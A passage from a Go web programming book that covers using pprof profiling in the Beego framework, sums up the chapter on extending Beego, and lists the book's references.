        pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "profile":
        pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "symbol":
        pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
    this.Ctx.ResponseWriter.WriteHeader(200)
}
```

Getting started

From the above, we can see that enabling pprof is as simple as setting the `PprofOn` configuration variable to `true`:

```
beego.PprofOn = true
```

You can then open the following URL in your browser to see the following interface:

Figure 14.7 current system goroutine, heap, thread information

By clicking on a goroutine, we can see a lot of detailed information:

Figure 14.8 shows the current goroutine details

Of course, we can also get more details from the command line:

```
go tool pprof http://localhost:8080/debug/pprof/profile
```

This time, the program will begin profiling the application for a period of 30 seconds, during which time it will repeatedly refresh the page in the browser in an attempt to gather CPU usage and performance data.

```
(pprof) top10

Total: 3 samples

   1 33.3% 33.3% 1 33.3% MHeap_AllocLocked

   1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors

   1 33.3% 100.0% 1 33.3% runtime.sigprocmask

   0 0.0% 100.0% 1 33.3% MCentral_Grow

   0 0.0% 100.0% 2 66.7% main.Compile

   0 0.0% 100.0% 2 66.7% main.compile

   0 0.0% 100.0% 2 66.7% main.run

   0 0.0% 100.0% 1 33.3% makeslice1

   0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP

   0 0.0% 100.0% 2 66.7% net/http.(*conn).serve

(pprof)web
```

Figure 14.9 shows the execution flow of information

Links

- Directory
- Previous section: Multi-language support
- Next section: Summary

14.7 Summary

This chapter illustrates some ways in which the Beego framework can be extended. We first looked at static file support, learning how Beego handles serving static files internally. We saw how this functionality allowed us to easily integrate static assets (such as Bootstrap's CSS files) for rapid and great looking website development. Next, we saw how to integrate `sessionManager` to painlessly facilitate user sessions in Beego. We then described form management and validation, leveraging Go's structs to reduce code repetition and for simplifying field validation. After that, we discussed user authentication which involved three main strategies: HTTP authentication (basic and digest), third party authentication, and custom authentication. We learned about some existing third party authentication packages that have already implemented these strategies, which are conveniently accommodated by Beego. The next section re-introduced language support in Beego; we saw how to integrate the `go-i18n` package and learned how to easily load multiple language packs into our applications as needed. Lastly, we discussed how to work with Go's `pprof` packages in Beego. The `pprof` package is used for performance profiling in Go, and Beego repackages it so it can serve the same purpose in Beego applications without much additional work. Through these six sections, we've extended Beego with many features, making it into a versatile framework suitable for the requirements of many web applications. Users have the freedom of extending the framework to suit their individual needs; this brief introduction to Beego simply offers a small taste of what can be done!

Links

- Directory
- Previous section: pprof
- Next chapter: Appendix A References

Appendix A References

This book is a summary of my Go experience, some content are from other Gophers' either blogs or sites. Thanks to them!

1. golang blog
2. Russ Cox's blog
3. go book
4. golangtutorials
5. 轩脉刃de刀光剑影
6. Go Programming Language
7. Network programming with Go
8. setup-the-rails-application-for-internationalization
9. The Cross-Site Scripting (XSS) FAQ